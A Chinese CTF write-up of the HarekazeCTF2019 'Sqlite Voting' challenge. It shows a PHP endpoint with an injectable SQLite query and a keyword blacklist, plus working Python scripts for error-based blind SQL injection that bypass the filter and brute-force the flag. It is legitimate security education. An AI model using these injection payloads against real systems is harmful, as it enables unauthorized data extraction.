进入后是一个投票界面

查看给出的源码, 在 vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag 表.

//vote.php
if (!isset($_POST['id']) || empty($_POST['id'])) {die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {die(json_encode(['error' => 'Vote id contains dangerous chars']));
}//schema.sql
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (`id` INTEGER PRIMARY KEY AUTOINCREMENT,`name` TEXT NOT NULL,`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES('dog', 0),('cat', 0),('zebra', 0),('koala', 0);DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');

在vote.php中给出SQL查询语句,但进行了过滤

 <?php
error_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();
}function is_valid($str) {$banword = [// dangerous chars// " % ' * + / < = > \ _ ` ~ -"[\"%'*+\\/<=>\\\\_`~-]",// whitespace chars'\s',// dangerous functions'blob', 'load_extension', 'char', 'unicode','(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp','in', 'limit', 'order', 'union', 'join'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}header("Content-Type: text/json; charset=utf-8");// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {die(json_encode(['error' => 'Vote id contains dangerous chars']));
}// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {die(json_encode(['error' => 'An error occurred while updating database']));
}// succeeded!
echo json_encode(['message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]); 

由于这里过滤了一些字符,所以我们使用hex来进行绕过

  • 先考虑对 flag16进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出x二进制为1的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

  • 那么如何构造报错语句呢?在sqlite3中,abs函数有一个整数溢出的报错,如果abs的参数是-9223372036854775808就会报错,同样如果是正数也会报错

利用脚本判断flag长度

import requests
url = "http://42d6c14f-e97e-4c02-ba69-81757f96aea0.node4.buuoj.cn:81/vote.php"
l = 0
for n in range(16):payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'data = {'id' : payload}r = requests.post(url=url, data=data)print(r.text)if 'occurred' in r.text:l = l|1<<nprint(l)

这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符

# hex(b'zebra') = 7A65627261# 除去 12567 就是 A ,其余同理A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'C = 'trim(hex(typeof(.1)),12567)'D = 'trim(hex(0xffffffffffffffff),123)'E = 'trim(hex(0.1),1230)'F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'# hex(b'koala') = 6B6F616C61# 除去 16CF 就是 BB = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
  • 然后逐字符进行爆破,已经知道 flag 格式为 flag{} ,hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod

  • 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断

  • 如果 flag 不包含 payload,那么得到的 length 必为 84,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错

  • 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84,最外面的 replace 将返回 true ,通过case when then else 构造 abs 参数为 0x8000000000000000 令其报错

# coding: utf-8
import binascii
import requests
URL = 'http://42d6c14f-e97e-4c02-ba69-81757f96aea0.node4.buuoj.cn:81/vote.php'l = 0
i = 0
for j in range(16):r = requests.post(URL, data={'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'})if b'An error occurred' in r.content:l |= 1 << j
print('[+] length:', l)table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):for x in '0123456789ABCDEF':t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)r = requests.post(URL, data={'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'})if b'An error occurred' in r.content:res += xbreakprint(f'[+] flag ({i}/{l}): {res}')i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

BUUCTF--[HarekazeCTF2019]Sqlite Voting相关推荐

  1. [HarekazeCTF2019]Sqlite Voting

    参考链接:https://www.cnblogs.com/20175211lyz/p/12264779.html 复现链接:https://buuoj.cn/challenges#[HarekazeC ...

  2. BUU刷题记录——6

    [De1CTF 2019]Giftbox De1CTF Web WriteUp – 赵 login命令处盲注获取登录密码 登陆后其他可用命令 targeting code position => ...

  3. [BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

    [BUUCTF]PWN17--[HarekazeCTF2019]baby_rop 附件 步骤: 例行检查,64位,开启了NX保护 试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错 64位i ...

  4. [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

    [HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没 ...

  5. BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

    64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...

  6. BUUCTF(pwn)[HarekazeCTF2019]baby_rop

    因为是64位参数是储存在寄存器中,binsh字符串应该放在 rdi 寄存器中 from pwn import* p = remote("node3.buuoj.cn",28711) ...

  7. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  8. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  9. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

最新文章

  1. bufferedreader读取中文乱码_Python读取excel的两种方法
  2. mysql数据库设计的原则_MySQL数据库设计原则
  3. android 4.4.2截屏方法,android4.4.2 使用 uiautoviewer 截屏报错
  4. BZOJ1876 [SDOI2009]SuperGCD 【高精 + GCD优化】
  5. android wifi 组播,在Android上显示实时UDP或RTP流(多播)
  6. GCT之数学公式(平面解析几何)
  7. Python动态数据展示
  8. 一道数学题目-如何证明(a,b)=1,则(a^n,b^n)=1
  9. Anchor和目标检测中的理论感受野和实际感受野的关系
  10. 六、字体样式和文本样式
  11. FTP文件传输协议与部署,包括Linux系统、Windows系统和H3C路由交换设备部署
  12. element 实现头像上传
  13. 利用Python探测附近WIFI密码的详细代码
  14. 洗衣机程序c语言代码大全,采用C语言编辑基于51单片机的全自动洗衣机控制系统毕业论文资料.doc...
  15. Html5---鸟巢
  16. 3D变电站物联网可视化虚拟仿真数字孪生系统
  17. python做一副54扑克牌发牌_基于Python制作一副扑克牌过程详解
  18. 词向量word to vector通俗理解
  19. opencv项目实战信用卡的检测
  20. Educational Codeforces Round 94 (Rated for Div. 2)题解ABCD

热门文章

  1. Android 8.0 手机亮灭屏
  2. 深造分布式 打败面试官 招式二 新手上路
  3. 【致青春】奋斗迷茫的我们
  4. 宝来客:结婚率创新低,黄金珠宝销售受影响
  5. 拳王虚拟项目公社:新媒体多渠道变现,生财有道?
  6. drools-自成一派
  7. php md5加密数组,php md5加密
  8. 实现对手机联系人列表进行读写操作,并用RecyclerView收缩展开方式展现
  9. SegeX SgxVariantArrayT:VC封装支持多维数组的变体类型(VRIANT 、SafeArray)(附免费免积分源代码)
  10. 一种基于局域网的点对点语音通信